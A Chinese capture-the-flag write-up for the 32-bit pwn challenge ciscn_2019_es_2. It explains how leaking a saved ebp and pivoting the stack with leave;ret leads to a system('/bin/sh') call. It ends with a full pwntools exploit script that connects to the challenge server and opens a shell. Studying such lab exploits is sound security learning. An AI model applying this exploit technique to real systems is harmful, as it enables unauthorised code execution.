从一道栈迁移题暴露出基础知识底层的严重不牢固 ciscn_2019_es_2
这道题就当作一个知识大整理吧,虽然花了不少时间,但暴露出的问题还是很多的,还是挺感谢这道题的
ida看伪代码
两次读入,虽然有栈溢出,但是只能溢出道ebp和ret
通过第一次read可以得到ebp的值(即栈上的一个地址)
然后进行栈迁移(其实是第一次做这种题)
得到ebp存放的值为0xffb0af18
而数组的存放地址是0xffb0aee0
两者偏移距离0x38
所以数组s的地址=得到的addr-0x38
现在开始构造payload了
将就着看
首先leave命令变成汇编就是mov esp,ebp / pop ebp
首先将ebp的值赋值给esp,由于ebp被覆盖为s数组的地址,所以。。。。。。。。。。。
经过激烈的思想斗争,我发现半夜不吃饭脑子就是不行(脑力不够了)
一相同理解马上就上去了
再来一次:
首先这个函数vlun结束时本来就要leave
这时rsp指向fake ebp的地址,pop ebp时将fake ebp的值取出,所以ebp此时指向fake ebp即s的地址
然后再leave 此时esp指向ebp即s的地址,ebp的地址已经无所谓了,所以s的前4个字节无所谓
此时esp指向system,ebp管他呢
然后执行ret 即pop eip 所以下一步要执行system函数
变成以上样子
函数调用时栈的结构
函数返回时要ret,所以要隔着一个返回地址再加参数
此处建议看长亭科技栈溢出88分钟开始
https://www.bilibili.com/video/BV15z4y1X7uw
所以system函数的参数是bin/sh字符串的地址(可以算出来的,此处不想动了)
然后成功得到flag
exp:
from pwn import *
from LibcSearcher import *
p=remote('node3.buuoj.cn',25779)
#p=process('./ciscn_2019_es_2')
elf=ELF('./ciscn_2019_es_2')
system=elf.plt['system']
main=elf.symbols['main']
leave=0x080484b8
p.recvuntil("name?")
payload='a'*0x27+'b'
p.send(payload)
p.recvuntil('b')
stack=u32(p.recv(4))
print("%x"%stack)
esp=stack-0x38
ebp=esp
payload=(p32(esp)+p32(system)+p32(main)+p32(esp+0x10)+'/bin/sh\x00').ljust(0x28,'\x00')+p32(esp)+p32(leave)
p.send(payload)
p.interactive()
总结:
这道题可以说重构了我对程序运行的理解,好多想当然的事情结果是错的,原因还是汇编以及函数调用的理解不深刻,打开了新世界的大门,就当是新的开始吧